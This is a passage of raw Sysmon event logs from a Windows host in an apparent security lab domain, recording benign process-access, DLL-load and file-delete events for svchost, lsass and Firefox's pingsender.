15:09:03.923{7BD73061-65B2-613B-0D00-00000000F001}8926608C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+f526|c:\windows\system32\rpcss.dll+121ba|c:\windows\system32\rpcss.dll+740c|C:\Windows\System32\RPCRT4.dll+64b8c|C:\Windows\System32\RPCRT4.dll+64979|C:\Windows\System32\RPCRT4.dll+64793|C:\Windows\System32\RPCRT4.dll+3f7d4|C:\Windows\System32\RPCRT4.dll+3fc51|C:\Windows\System32\RPCRT4.dll+1c39d|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000056936Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.923{7BD73061-65B2-613B-0D00-00000000F001}8926608C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+f526|c:\windows\system32\rpcss.dll+121ba|c:\windows\system32\rpcss.dll+740c|C:\Windows\System32\RPCRT4.dll+64b8c|C:\Windows\System32\RPCRT4.dll+64979|C:\Windows\System32\RPCRT4.dll+64793|C:\Windows\System32\RPCRT4.dll+3f7d4|C:\Windows\System32\RPCRT4.dll+3fc51|C:\Windows\System32\RPCRT4.dll+1c39d|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000056935Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.923{7BD73061-65B2-613B-0D00-00000000F001}8926608C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+f526|c:\windows\system32\rpcss.dll+121ba|c:\windows\system32\rpcss.dll+740c|C:\Windows\System32\RPCRT4.dll+64b8c|C:\Windows\System32\RPCRT4.dll+64979|C:\Windows\System32\RPCRT4.dll+64793|C:\Windows\System32\RPCRT4.dll+3f7d4|C:\Windows\System32\RPCRT4.dll+3fc51|C:\Windows\System32\RPCRT4.dll+1c39d|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000056934Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.923{7BD73061-65B2-613B-0D00-00000000F001}8926608C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+f526|c:\windows\system32\rpcss.dll+121ba|c:\windows\system32\rpcss.dll+740c|C:\Windows\System32\RPCRT4.dll+64b8c|C:\Windows\System32\RPCRT4.dll+64979|C:\Windows\System32\RPCRT4.dll+64793|C:\Windows\System32\RPCRT4.dll+3f7d4|C:\Windows\System32\RPCRT4.dll+3fc51|C:\Windows\System32\RPCRT4.dll+1c39d|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000056933Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.923{7BD73061-65B2-613B-0D00-00000000F001}8926608C:\Windows\system32\svchost.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+f526|c:\windows\system32\rpcss.dll+121ba|c:\windows\system32\rpcss.dll+740c|C:\Windows\System32\RPCRT4.dll+64b8c|C:\Windows\System32\RPCRT4.dll+64979|C:\Windows\System32\RPCRT4.dll+64793|C:\Windows\System32\RPCRT4.dll+3f7d4|C:\Windows\System32\RPCRT4.dll+3fc51|C:\Windows\System32\RPCRT4.dll+1c39d|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000056932Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.923{7BD73061-65B2-613B-0D00-00000000F001}8926608C:\Windows\system32\svchost.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+f526|c:\windows\system32\rpcss.dll+121ba|c:\windows\system32\rpcss.dll+740c|C:\Windows\System32\RPCRT4.dll+64b8c|C:\Windows\System32\RPCRT4.dll+64979|C:\Windows\System32\RPCRT4.dll+64793|C:\Windows\System32\RPCRT4.dll+3f7d4|C:\Windows\System32\RPCRT4.dll+3fc51|C:\Windows\System32\RPCRT4.dll+1c39d|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000056931Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.923{7BD73061-65B2-613B-0D00-00000000F001}8926608C:\Windows\system32\svchost.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+f526|c:\windows\system32\rpcss.dll+121ba|c:\windows\system32\rpcss.dll+740c|C:\Windows\System32\RPCRT4.dll+64b8c|C:\Windows\System32\RPCRT4.dll+64979|C:\Windows\System32\RPCRT4.dll+64793|C:\Windows\System32\RPCRT4.dll+3f7d4|C:\Windows\System32\RPCRT4.dll+3fc51|C:\Windows\System32\RPCRT4.dll+1c39d|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000056930Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.923{7BD73061-750F-613B-AE0B-00000000F001}4084C:\Program Files\Mozilla Firefox\pingsender.exeC:\Windows\System32\dnsapi.dll10.0.14393.4350 (rs1_release.210407-2154)DNS Client API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationdnsapiMD5=D7651F99299B13D576A72643BFC44944,SHA256=589302E630C473DBDF4CE92C59F00B029FCA0C228E7111A764166E16025FA1A9,IMPHASH=3C043C6FF0F62DAEB8819606F79C5ECCtrueMicrosoft WindowsValid 10341000x800000000000000056929Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.923{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65B2-613B-1600-00000000F001}1296C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000056928Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.923{7BD73061-750F-613B-AE0B-00000000F001}4084C:\Program Files\Mozilla Firefox\pingsender.exeC:\Windows\System32\nsi.dll10.0.14393.3297 (rs1_release_1.191001-1045)NSI User-mode interface DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationnsi.dllMD5=994E2A6D2A0B38E0968B3998E42033AC,SHA256=491F2D1DE09C39B324BCF5800198AC7CCE755F4023F1FEB3854D33716461BC27,IMPHASH=B01B7830101BC0D5FBDE4FFE2B170CF7trueMicrosoft WindowsValid 734700x800000000000000056927Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.923{7BD73061-750F-613B-AE0B-00000000F001}4084C:\Program Files\Mozilla Firefox\pingsender.exeC:\Windows\System32\winnsi.dll10.0.14393.2339 (rs1_release_inmarket.180611-1502)Network Store Information RPC interfaceMicrosoft® Windows® Operating SystemMicrosoft Corporationwinnsi.dllMD5=25B3BD4D63460EE4599F5631C1B83D21,SHA256=07E055D47940F09CB7EB512D52672C944D7D2F035A2F45766319871C0862C5B1,IMPHASH=77951C1B66390D48C5FC7B47D7C8668AtrueMicrosoft WindowsValid 734700x800000000000000056926Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.907{7BD73061-750F-613B-AE0B-00000000F001}4084C:\Program Files\Mozilla Firefox\pingsender.exeC:\Windows\System32\mswsock.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft Windows Sockets 2.0 Service ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationmswsock.dllMD5=B52ACA309FD6F72105951FFBA022327B,SHA256=02AB6CCE4BF0D3F075D5E982F5A4CBDB514CE7C245EA474D7846A86CD3F13202,IMPHASH=0E9C1FA273A5EFD763FAC8E145B20C80trueMicrosoft WindowsValid 734700x800000000000000056925Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.907{7BD73061-750F-613B-AE0B-00000000F001}4084C:\Program Files\Mozilla Firefox\pingsender.exeC:\Windows\System32\winhttp.dll10.0.14393.4467 (rs1_release.210604-1844)Windows HTTP ServicesMicrosoft® Windows® Operating SystemMicrosoft Corporationwinhttp.dllMD5=8893BE5829B2F909E7FC4AF4C43B54F9,SHA256=C1D791C72417FD001E2A5FE441717881D43428A931724E7FD2DCCE6C83699458,IMPHASH=F1FC6BF3699C289EBAF914A7771E49CDtrueMicrosoft WindowsValid 734700x800000000000000056924Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.907{7BD73061-750F-613B-AE0B-00000000F001}4084C:\Program Files\Mozilla Firefox\pingsender.exeC:\Windows\System32\IPHLPAPI.DLL10.0.14393.2339 (rs1_release_inmarket.180611-1502)IP Helper APIMicrosoft® Windows® Operating SystemMicrosoft Corporationiphlpapi.dllMD5=3CD38EDF9CA12F91131EDEE32D1C9DF5,SHA256=AF2440640BF8BDEAAF0DECDD7C354158E415ED0AA340ABA7A6CCCDC09C1E728B,IMPHASH=98738BA55485CCA932F6D222F47FFC55trueMicrosoft WindowsValid 734700x800000000000000056923Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.907{7BD73061-750F-613B-AE0B-00000000F001}4084C:\Program Files\Mozilla Firefox\pingsender.exeC:\Windows\System32\OnDemandConnRouteHelper.dll10.0.14393.4169 (rs1_release.210107-1130)On Demand Connctiond Route HelperMicrosoft® Windows® Operating SystemMicrosoft CorporationOnDemandConnRouteHelper.dllMD5=BAE78E97BEBB832376654560305922E3,SHA256=6A188DC4F1005E46CCA529E9C757D9B3B5F98E5587AFAA5E4200C7DD2AC73355,IMPHASH=FE994282C73F9AB11AC9B6E37AC26B47trueMicrosoft WindowsValid 734700x800000000000000056922Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.907{7BD73061-750F-613B-AE0B-00000000F001}4084C:\Program Files\Mozilla Firefox\pingsender.exeC:\Windows\System32\ws2_32.dll10.0.14393.3241 (rs1_release_inmarket.190910-1801)Windows Socket 2.0 32-Bit DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationws2_32.dllMD5=06E82905620845A7C185BDEE85CC4140,SHA256=B75C9B080293F85568912BABE749F403144959206F9C6BAB36B628E8F77C5DA0,IMPHASH=76A5AA3DF6083D853F576403C8F841A8trueMicrosoft WindowsValid 734700x800000000000000056921Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.907{7BD73061-750F-613B-AE0B-00000000F001}4084C:\Program Files\Mozilla Firefox\pingsender.exeC:\Windows\System32\profapi.dll10.0.14393.0 (rs1_release.160715-1616)User Profile Basic APIMicrosoft® Windows® Operating SystemMicrosoft CorporationPROFAPI.DLLMD5=0BC84513575743DA177F3DFE18D35CA7,SHA256=C40F6AA73073995E05E5379AE593A6617E8296C79A78BD7F716D95F98AE0D899,IMPHASH=9060609FCB6C4120D4517877408A4A46trueMicrosoft WindowsValid 734700x800000000000000056920Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.907{7BD73061-750F-613B-AE0B-00000000F001}4084C:\Program Files\Mozilla Firefox\pingsender.exeC:\Windows\System32\kernel.appcore.dll10.0.14393.2312 (rs1_release.180607-1919)AppModel API HostMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel.appcore.dllMD5=0AF5EF8A7FEFD4B37036B71514FC20CF,SHA256=D4F178583F6F33794D42B4DB11008494E9CD9F069C2AD2CA304DA63F9B5F659C,IMPHASH=94524C03C5380F78283785F1E05E667DtrueMicrosoft WindowsValid 734700x800000000000000056919Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.907{7BD73061-750F-613B-AE0B-00000000F001}4084C:\Program Files\Mozilla Firefox\pingsender.exeC:\Windows\System32\shlwapi.dll10.0.14393.4169 (rs1_release.210107-1130)Shell Light-weight Utility LibraryMicrosoft® Windows® Operating SystemMicrosoft CorporationSHLWAPI.DLLMD5=F9E249B6BB80C06BA30A61854567796C,SHA256=E5F62CD5D2FE7BE8D4E029ECA004A8773FF8D1F7AB92C115810AD54B5B8F50CA,IMPHASH=9F3DE8492A7F075320A36332ACC9CAAFtrueMicrosoft WindowsValid 734700x800000000000000056918Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.907{7BD73061-750F-613B-AE0B-00000000F001}4084C:\Program Files\Mozilla Firefox\pingsender.exeC:\Windows\System32\powrprof.dll10.0.14393.0 (rs1_release.160715-1616)Power Profile Helper DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationPOWRPROF.DLLMD5=C55F634054E45C0DEE47C254AE009928,SHA256=76EB0FCA87C3AD5FA1C46EB0AF88CF85E172525029E33F5DFC5645EF2EE6F575,IMPHASH=CBD4A2FD581B65B4B1934DA291FA2B86trueMicrosoft WindowsValid 734700x800000000000000056917Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.907{7BD73061-750F-613B-AE0B-00000000F001}4084C:\Program Files\Mozilla Firefox\pingsender.exeC:\Windows\System32\windows.storage.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft WinRT Storage APIMicrosoft® Windows® Operating SystemMicrosoft CorporationWindows.Storage.dllMD5=1D7997E3AFC26B85024D33F835E18056,SHA256=B2376967E156D4971FB66059F6367030AF937943D2EBF80AF856E643B6E95BBF,IMPHASH=181A859176420BBB803F246C0E4B0889trueMicrosoft WindowsValid 10341000x800000000000000056916Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.907{7BD73061-65B0-613B-0B00-00000000F001}620828C:\Windows\system32\lsass.exe{7BD73061-750F-613B-AE0B-00000000F001}4084C:\Program Files\Mozilla Firefox\pingsender.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000056915Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.907{7BD73061-65B0-613B-0B00-00000000F001}620828C:\Windows\system32\lsass.exe{7BD73061-750F-613B-AE0B-00000000F001}4084C:\Program Files\Mozilla Firefox\pingsender.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000056914Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.907{7BD73061-750F-613B-AE0B-00000000F001}4084C:\Program Files\Mozilla Firefox\pingsender.exeC:\Windows\System32\sspicli.dll10.0.14393.2580 (rs1_release_inmarket.181009-1745)Security Support Provider InterfaceMicrosoft® Windows® Operating SystemMicrosoft Corporationsspicli.dllMD5=5061339CE61C0B32DB8F51A95E3B2422,SHA256=60558CA374334D4C6BBAD475921538C14A9FF3422893348A0503C1F33015FD25,IMPHASH=4B1C9487A6420C18F688F0EC5BEB6F33trueMicrosoft WindowsValid 734700x800000000000000056913Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.907{7BD73061-750F-613B-AE0B-00000000F001}4084C:\Program Files\Mozilla Firefox\pingsender.exeC:\Windows\System32\imm32.dll10.0.14393.0 (rs1_release.160715-1616)Multi-User Windows IMM32 API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationimm32MD5=E1024CF2E35DD3467F52BC83F7FEDA3F,SHA256=59C87761AD509BD096C2F35257C2370FB94B95160CB63FB9E66DFD8210AB002A,IMPHASH=C852E8FD14D356C81F834E318EEAD7FAtrueMicrosoft WindowsValid 734700x800000000000000056912Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.907{7BD73061-750F-613B-AE0B-00000000F001}4084C:\Program Files\Mozilla Firefox\pingsender.exeC:\Windows\System32\gdi32full.dll10.0.14393.4530 (rs1_release.210705-0736)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=9D82D7DBC3D9E0D8E86D10A5B1BF736E,SHA256=270CA1A42ECB4C22E826C1C95924F0014CC99254AB55B7167DA144D45E238E6D,IMPHASH=059EB3BAA45E35C79FAE66F7279059EEtrueMicrosoft WindowsValid 23542300x800000000000000056911Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.907{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\datareporting\glean\db\data.safe.binMD5=23B50E767DBE12F7E62431AB402AE97B,SHA256=3CA45FCF279834AA566081E6F1D40F8FAAF320CF4E339AA2E0F9B7B3960B7AB3,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 734700x800000000000000056910Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.907{7BD73061-750F-613B-AE0B-00000000F001}4084C:\Program Files\Mozilla Firefox\pingsender.exeC:\Windows\System32\gdi32.dll10.0.14393.4169 (rs1_release.210107-1130)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=551D603CEC947F586DB9FADEF4D2EBA6,SHA256=143125EFF9F3BC5B3F3BE505F3C3814393807B9CACB6AA5F75D39C77EC0D4ED8,IMPHASH=A24D446CB7FCBB6D29B592603C0BE00CtrueMicrosoft WindowsValid 734700x800000000000000056909Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.907{7BD73061-750F-613B-AE0B-00000000F001}4084C:\Program Files\Mozilla Firefox\pingsender.exeC:\Windows\System32\win32u.dll10.0.14393.0 (rs1_release.160715-1616)Win32uMicrosoft® Windows® Operating SystemMicrosoft CorporationWin32u.DLLMD5=6A40F9C63B52CB4E8271CF3418618033,SHA256=A2BE23DA7AADFA9118130C939CD59D86E590957172FF404511EE6C5EC5147F15,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000056908Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.907{7BD73061-750F-613B-AE0B-00000000F001}4084C:\Program Files\Mozilla Firefox\pingsender.exeC:\Windows\System32\user32.dll10.0.14393.4169 (rs1_release.210107-1130)Multi-User Windows USER API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationuser32MD5=883B59C5557E8A9B3C1E1ED1CA48CD5A,SHA256=271800C20A96587265BF83DE2EFC11329EEB2B6C0D57E5E0BCD137FB96BFE6E3,IMPHASH=070F257E4632BC576557C4085595EAA4trueMicrosoft WindowsValid 734700x800000000000000056907Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.907{7BD73061-750F-613B-AE0B-00000000F001}4084C:\Program Files\Mozilla Firefox\pingsender.exeC:\Windows\System32\SHCore.dll10.0.14393.4169 (rs1_release.210107-1130)SHCOREMicrosoft® Windows® Operating SystemMicrosoft CorporationSHCORE.dllMD5=D287E1BC5A148E2BCB482DBD0E925738,SHA256=1C2428AD170165DD8DE960C835D9AAB5B268300A676FE935B177ED5D2607430D,IMPHASH=3C09BDCE2388320645D7656AE2AC744CtrueMicrosoft WindowsValid 734700x800000000000000056906Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.907{7BD73061-750F-613B-AE0B-00000000F001}4084C:\Program Files\Mozilla Firefox\pingsender.exeC:\Windows\System32\iertutil.dll11.00.14393.4467 (rs1_release.210604-1844)Run time utility for Internet ExplorerInternet ExplorerMicrosoft CorporationIeRtUtil.dllMD5=1D608361848C3A3AC56488995E8D0BB1,SHA256=D95DE5DBAD08E22CB0CFB9322220E752F16124C15867F7748E4D64795E400EBF,IMPHASH=BB80FB0B79AB68B9AA174726B09C8CE9trueMicrosoft WindowsValid 734700x800000000000000056905Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.891{7BD73061-750F-613B-AE0B-00000000F001}4084C:\Program Files\Mozilla Firefox\pingsender.exeC:\Windows\System32\cryptbase.dll10.0.14393.0 (rs1_release.160715-1616)Base cryptographic API DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptbase.dllMD5=51FCB0FDEFCB9A3E4A1DC8C8673BC63C,SHA256=63A0E1A76B7ABCF56E44B548568649FFB6B5609402746D48A4DC77CCED20F5FE,IMPHASH=9E9C9DFD04CDDF2B6F1412BF096AEAF4trueMicrosoft WindowsValid 734700x800000000000000056904Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.891{7BD73061-750F-613B-AE0B-00000000F001}4084C:\Program Files\Mozilla Firefox\pingsender.exeC:\Windows\System32\bcryptprimitives.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcryptprimitives.dllMD5=8AAF6E1B14B9210052FFF90E25926D63,SHA256=F2120C8E63EA94F8618B31319A534731C16D8FDD58B0E1E70217D72A39D78353,IMPHASH=BA5C37A1CF8C2730ED1F4DA1587496A5trueMicrosoft WindowsValid 734700x800000000000000056903Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.891{7BD73061-750F-613B-AE0B-00000000F001}4084C:\Program Files\Mozilla Firefox\pingsender.exeC:\Windows\System32\combase.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft COM for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationCOMBASE.DLLMD5=878EBD02A580FDF8F187100127E6D3A8,SHA256=54E4BADDFBD97CFFF871B6D7316B28872218B92F37C41199F71EB37BC5634216,IMPHASH=0863DD72CA0C3702DB7ACD19A4D5DEB1trueMicrosoft WindowsValid 734700x800000000000000056902Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.891{7BD73061-750F-613B-AE0B-00000000F001}4084C:\Program Files\Mozilla Firefox\pingsender.exeC:\Windows\System32\msvcp_win.dll10.0.14393.2999 (rs1_release_inmarket.190520-1518)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcp_win.dllMD5=C50C0CEFA633773AB29572E05834F1FE,SHA256=50178F23AA57B31626614C6C65DA2B6518A64FF684FFA18A0F49C4431DFCBEC5,IMPHASH=5B59892514923CABE9B70CFE22A3F59AtrueMicrosoft WindowsValid 734700x800000000000000056901Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.891{7BD73061-750F-613B-AE0B-00000000F001}4084C:\Program Files\Mozilla Firefox\pingsender.exeC:\Windows\System32\dbghelp.dll10.0.14321.1024 (rs1_release.160715-1616)Windows Image HelperMicrosoft® Windows® Operating 